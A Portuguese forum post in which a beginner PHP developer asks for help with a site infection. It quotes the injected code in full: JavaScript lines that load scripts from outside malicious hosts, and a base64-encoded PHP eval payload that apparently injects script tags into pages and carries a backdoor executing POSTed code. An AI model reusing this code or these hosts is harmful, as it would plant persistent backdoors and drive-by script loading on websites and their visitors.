Segurança PHP

Atualmente estou com um problema que acredito que muitos já tenham passado.

Estou iniciando programação php e fui pego de surpresa por um tipo de infecção php e não consigo solucionar definitivamente o problema.

Realizei algumas buscas no google e encontrei algumas funções do php que tentam inibir isto mas em alguns caso a função está obsoleta ou não está ativada no servidor. até onde sei há práticas eficientes que visam diminiuir ao máximo as brechas no sistema.

Mesmo usando session e validando o formulário de login estão injetando um código no meu site que segue abaixo

Este nos js

document.write('<script src=http://alexhotelru.58.com1.ru/_vti_cnf/gzapj.php ><\/script>');

document.write('<script src=http://alexhotelru.58.com1.ru/_vti_cnf/gzapj.php ><\/script>');

document.write('<script src=http://alexhotelru.58.com1.ru/_vti_cnf/gzapj.php ><\/script>');

document.write('<script src=http://legalriskconsultants.com/db/content_news.php ><\/script>');

document.write('<script src=http://legalriskconsultants.com/db/content_news.php ><\/script>');

E este nos PHP

<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnZWh1OCcpKXtmdW5jdGlvbiBlaHU4KCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYocHJlZ19tYXRjaCgnI1tcLiBdd2lkdGhccyo9XHMqW1wnIl0/MCpbMC05XVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDJ0cFluSnBjMnRsYzJSbGNpNXZjbWN2YVcxaFoyVnpMMmRwWm1sdFp5NXdhSEFnUGp3dmMyTnlhWEIwUGc9PScpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMsMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24gZWh1ODIoJGEsJGIsJGMsJGQpe2dsb2JhbCRlaHU4MTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkZWh1ODEpKWNhbGxfdXNlcl9mdW5jKCRlaHU4MSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKWFzJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0nZWh1OCcpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ2VodTgnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kZWh1OGw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ2VodTgyJykpIT0nZWh1ODInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?>

Se alguém já passou por isso ou conheçe alguma técnica que proteja o sistema me avise

Não sei como ele consegue escrever no meu arquivo php.